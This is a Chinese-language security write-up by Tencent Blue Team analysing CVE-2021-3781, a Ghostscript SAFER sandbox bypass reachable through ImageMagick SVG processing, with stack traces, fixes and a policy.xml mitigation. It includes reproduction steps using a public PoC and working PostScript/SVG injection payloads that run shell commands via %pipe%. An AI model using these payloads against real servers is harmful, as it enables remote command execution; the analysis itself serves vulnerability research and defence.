Ghostscript沙箱绕过(CVE-2021-3781)分析
文｜腾讯蓝军 路飞
0x00 前言
Ghostscript是一款Adobe PostScript语言和PDF的解释器软件，被诸多著名应用（如ImageMagick）所使用。
9月5日，海外安全研究员在Twitter公开Ghostscript的安全模式绕过0day，并给出ImagMgick的利用代码，该漏洞可以造成任意命令执行，影响诸多下游应用，当天TSRC紧急对该漏洞进行复现与分析。
9月9日，Ghostscript官方发布补丁代码，但是并没有发布编译程序。
9月27日，Ghostscript官方发布修复后的新版本编译程序。
可以说这个0day是影响了相当一段时间，这个漏洞的利用也比较曲折，值得深入研究思考。这篇文章将完整分析从ImageMagick到Ghostscript的攻击利用链。
0x01 环境搭建及复现
1. 影响范围
https://github.com/ImageMagick/ImageMagick
ImageMagick <= 7.0.11-10
https://github.com/ArtifexSoftware/ghostpdl-downloads/releases
Ghostscript <= 9.54.0
2. 漏洞环境搭建
可以在ubuntu 20的环境下快速复现
apt-get install imagemagickgit clone https://github.com/duc-nt/RCE-0-day-for-GhostScript-9.50.gitpython IM-RCE-via-GhostScript-9.5.py "sleep 1000" 1.jpgconvert 1.jpg 1.pdf
通过pstree查看进程树，可以看到是GhostScript执行了sleep命令，由此可以确认分析路径。
ImageMagick是如何生成参数文件，并且传递给GhostScript解析？
GhostScript的沙箱是如何被绕过的？
0x02 ImageMagick
1. 分析ImageMagick
这里打算进行源码debug，所以我们从github上下载ImageMagick源码，编译debug版本，进行调试。后面附了整个栈信息，想快速分析的可以直接看栈信息就好了。
一开始看给的poc是生成jpg，以为是jpg文件处理出问题了，其实不然。ImageMagick会自动识别文件类型，通过GetImageDecoder函数获取相对应的文件decoder，这里获取到的decoder是ReadSVGImage，所以虽然将文件名命名为1.jpg，但是ImageMagick还是将文件为svg文件进行处理。
/tmp/ImageMagick-7.0.11-6/MagickCore/constitute.c
decoder=GetImageDecoder(magick_info)ReadSVGImage函数是如何处理payload中重要的desc、image两个标签？
在ImageMagick/coders/svg.c中搜索到关键词"desc"，来到如下图的位置。
在处理desc标签的时候，会里面内容加一个#，并且写入到/proc/self/fd/3中（当然这里的fd不一定是3，会根据进程里面打开的文件数量而变化）。
<desc>copies (%pipe%/tmp/;{}) (r) file showpage 0 quit desc>将上面解析为如下内容，并且添加到/proc/self/fd/3
#copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit同样搜索"image"关键词，来到如下图的位置。
/tmp/im/ImageMagick-7.0.11-6/coders/svg.c
<image href="epi:/proc/self/fd/3" />将上面解析为如下内容，并且追加到/proc/self/fd/3
image Over 0,0 0,0 "epi:/proc/self/fd/3"等把所有svg标签转化成mvg文件的原语了，就接着使用DrawPrimitive函数处理mvg内容，处理的内容如下：
#copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit \npush graphic-context\nimage Over 0,0 0,0 \"epi:/proc/self/fd/3\"\npop graphic-context\npush graphic-context\ncompliance \"SVG\"\nfill \"black\"\nfill-opacity 1\nstroke \"none\"\nstroke-width 1\nstroke-opacity 1\nfill-rule nonzero\nviewbox 0 0 1 1\naffine 1 0 0 1 0 0\npop graphic-context\n/tmp/im/ImageMagick-7.0.11-6/MagickCore/draw.c RenderMVGContent
其中比较关键的是，在处理到image Over 0,0 0,0 "epi:/proc/self/fd/3"中的image关键词的时候，会认定为是Image，所以接着使用ReadImage函数解析epi:/proc/self/fd/3路径。
这里根据epi协议头，把/proc/self/fd/3当成psi文件处理。
并且ReadPSImage函数会将/proc/self/fd/3的文件连接到input_filename，后面会作为Ghostscript的文件参数。
status=AcquireUniqueSymbolicLink(image_info->filename,input_filename);最后会被GhostScript以-f 文件名形式调用。
/tmp/im/ImageMagick-7.0.11-6/MagickCore/delegate.c
到这里，问题很明显了，ImageMagick会把SVG部分内容当成PS脚本内容，给Ghostscript调用。
在Ghostscript的解析过程，只要保证恶意代码前面部分是没有语法错误的，恶意代码后面的部分就不需要管了，就能够成功解析恶意代码部分。比如下面PS文件内容，Ghostscript是可以正常执行第一行的。
#copies (%pipe%/tmp/;sleep 1000) (r) file showpage 0 quitasdasdas xxxxxxx
而ImageMagick巧合会把"desc"里面的内容作为PS脚本的第一行（仅仅加了#这个脏字符，可以进行绕过）。
最后调用Ghostscript的栈信息。
libc.so.6!__libc_fork() (\build\glibc-eX1tMB\glibc-2.31\sysdeps\nptl\fork.c:49)libMagickCore-7.Q16HDRI.so.9!ExternalDelegateCommand(const MagickBooleanType asynchronous, const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\delegate.c:446)libMagickCore-7.Q16HDRI.so.9!InvokeGhostscriptDelegate(const MagickBooleanType verbose, const char * command, char * message, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\ghostscript-private.h:198)libMagickCore-7.Q16HDRI.so.9!ReadPSImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\ps.c:776)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!DrawPrimitive(Image * image, const DrawInfo * draw_info, const PrimitiveInfo * primitive_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:5549)libMagickCore-7.Q16HDRI.so.9!RenderMVGContent(Image * image, const DrawInfo * draw_info, const size_t depth, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:4433)libMagickCore-7.Q16HDRI.so.9!DrawImage(Image * image, const DrawInfo * draw_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\draw.c:4474)libMagickCore-7.Q16HDRI.so.9!ReadMVGImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\mvg.c:239)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!ReadSVGImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\coders\svg.c:3678)libMagickCore-7.Q16HDRI.so.9!ReadImage(const ImageInfo * image_info, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:563)libMagickCore-7.Q16HDRI.so.9!ReadImages(ImageInfo * image_info, const char * filename, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickCore\constitute.c:955)libMagickWand-7.Q16HDRI.so.9!ConvertImageCommand(ImageInfo * image_info, int argc, char ** argv, char ** metadata, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickWand\convert.c:611)libMagickWand-7.Q16HDRI.so.9!MagickCommandGenesis(ImageInfo * image_info, MagickCommand command, int argc, char ** argv, char ** metadata, ExceptionInfo * exception) (\tmp\im\ImageMagick-7.0.11-6\MagickWand\mogrify.c:191)MagickMain(int argc, char ** argv) (\tmp\im\ImageMagick-7.0.11-6\utilities\magick.c:149)main(int argc, char ** argv) (\tmp\im\ImageMagick-7.0.11-6\utilities\magick.c:180)
2. ImageMagick怎么修复？
那么高版本的ImageMagick是如何修复？这里拿7.0.11-6版本进行调试，是没办法执行恶意命令的。
于是对比上面执行命令成功的调用栈，从栈最深层开始排查，定位哪个关键函数出问题。后面发现是在DrawPrimitive。
可以看到路径为epi:/proc/self/fd/3,这个路径在后续的检测函数IsPathAccessible是过不了的。
ImageMagick-7.1.0-8/MagickCore/draw.c
最后通过stat函数检测路径是否可以访问,如果不可以访问就不进入ReadImage函数了。
而有漏洞的版本仅仅检测clone_info->filename不为空。
0x03 Ghostscript
1. 分析Ghostscript
Ghostscript我们这里重点关注安全模式下是如何绕过管道命令％pipe％cmd沙箱的？
成功利用的堆栈信息如下：
libc.so.6!_IO_new_popen(const char * command, const char * mode) (\build\glibc-eX1tMB\glibc-2.31\libio\iopopen.c:221)fs_file_open_pipe(const gs_memory_t * mem, void * secret, const char * fname, char * rfname, const char * mode, gp_file ** file) (\tmp\gsok\ghostscript-9.54.0\base\gdevpipe.c:55)pipe_fopen(gx_io_device * iodev, const char * fname, const char * access, gp_file ** pfile, char * rfname, uint rnamelen, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\base\gdevpipe.c:91)file_open_stream(const char * fname, uint len, const char * file_access, uint buffer_size, stream ** ps, gx_io_device * iodev, iodev_proc_fopen_t fopen_proc, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\base\sfxcommon.c:94)iodev_os_open_file(gx_io_device * iodev, const char * fname, uint len, const char * file_access, stream ** ps, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:1080)zopen_file(i_ctx_t * i_ctx_p, const gs_parsed_file_name_t * pfn, const char * file_access, stream ** ps, gs_memory_t * mem) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:1068)zfile(i_ctx_t * i_ctx_p) (\tmp\gsok\ghostscript-9.54.0\psi\zfile.c:281)interp(i_ctx_t ** pi_ctx_p, const ref * pref, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:1457)gs_call_interp(i_ctx_t ** pi_ctx_p, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:520)gs_interpret(i_ctx_t ** pi_ctx_p, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\interp.c:477)gs_main_interpret(gs_main_instance * minst, ref * pref, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:257)gs_main_run_string_end(gs_main_instance * minst, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:945)gs_main_run_string_with_length(gs_main_instance * minst, const char * str, uint length, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:889)gs_main_run_string(gs_main_instance * minst, const char * str, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imain.c:870)run_string(gs_main_instance * minst, const char * str, int options, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1166)runarg(gs_main_instance * minst, const char * pre, const char * arg, const char * post, int options, int user_errors, int * pexit_code, ref * perror_object) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1125)argproc(gs_main_instance * minst, const char * arg) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:1047)gs_main_init_with_args01(gs_main_instance * minst, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:242)gs_main_init_with_args(gs_main_instance * minst, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\imainarg.c:289)psapi_init_with_args(gs_lib_ctx_t * ctx, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\psapi.c:280)gsapi_init_with_args(void * instance, int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\iapi.c:239)main(int argc, char ** argv) (\tmp\gsok\ghostscript-9.54.0\psi\gs.c:95)
从上面的堆栈，找到Ghostscript代码领域的函数pipe_fopen，函数中如果要成功调用open_pipe函数，会经过的gp_validate_path函数校验，来判断打开的路径是否合法。
ghostscript-9.54.0/base/gdevpipe.c
我们来看下gp_validate_path是怎么检测的？这里主要判断目录开头是否为白名单里面的路径，而白名单里面有/tmp/*，并且使用popen执行，所以可以使用分号、换行、&等符号拼接执行多个命令。也就是为什么poc里面要加/tmp/的原因。
2. PostScript是什么
Ghostscript是PostScript的解释器，用于解析执行PostScript。PostScript跟我们平时接触表示法不一样，是逆波兰式。
操作数在前，操作符在后。就是把2 + 3这种中序表达式变成为2 3 add这种后续表达式。想了解PostScript可以翻阅文档：
https://www.adobe.com/content/dam/acom/en/devnet/actionscript/articles/psrefman.pdf
回到分析中，ImageMagick会在写入的内容前面加一个#号，通过翻阅文档可以找到#copies语法，从而将#脏字符合理化 。
#copies 3 def(%pipe%/tmp/;sleep 1000) (r) file showpage 0 quit
3. 显示执行结果
为了更加直观的查看debug执行情况，我们可以使用如下payload进行回显观察执行命令结果。
#copies 3 defmark/OutputFile (%pipe%/tmp/;ifconfig)(pdfwrite)finddeviceputdevicepropssetdevicequit
4. 如何修复
修复比较简单了，直接把%pipe%拼接进行，变成%pipe%/tmp/;ifconfig,这样路径不匹配白名单，gp_validate_path验证也就无法通过了。
在这个利用链中，如果单单修复GhostScript的话，还是有一定DoS的风险，因为Ghostscript没有对资源做限制，可以进行DoS攻击。
执行一次即可跑满一个cpu核心，多执行几次最终可以把所有cpu跑满，在一定的场景是有风险的（比如文章ImageMagick使用场景），不过官方不认为是安全漏洞。
<desc>Payload打码</desc>所以在调用Ghostscript的时候，即使开了安全模式，也并不怎么安全，还是需要严格控制PS脚本内容（安全模式也曾被多次绕过）。
同时建议禁用不需要的coder，比如这次就可以把SVG禁用掉。
/usr/local/etc/ImageMagick-7/policy.xml
<policymap><policy domain="coder" rights="none" pattern="SVG" />policymap>
0x04 参考
1. CVE-2021-3781 Commit
https://git.ghostscript.com/?p=ghostpdl.git;a=commitdiff;h=a9bd3dec9fde
2. Ghostscript SAFER Sandbox Breakout (CVE-2020-15900)
https://insomniasec.com/blog/ghostscript-cve-2020-15900
3. 关于Ghostscript SAFER沙箱绕过漏洞的分析
https://www.freebuf.com/vuls/182095.html
4. Ghostscript 文档
https://www.ghostscript.com/doc/9.55.0/Use.htm
关于腾讯蓝军
腾讯蓝军（Tencent Force）由腾讯TEG安全平台部于2006年组建，十余年专注前沿安全攻防技术研究、实战演练、渗透测试、安全评估、培训赋能等，采用APT攻击者视角在真实网络环境开展实战演习，全方位检验安全防护策略、响应机制的充分性与有效性，最大程度发现业务系统的潜在安全风险，并推动优化提升，助力企业领先于攻击者，防患于未然。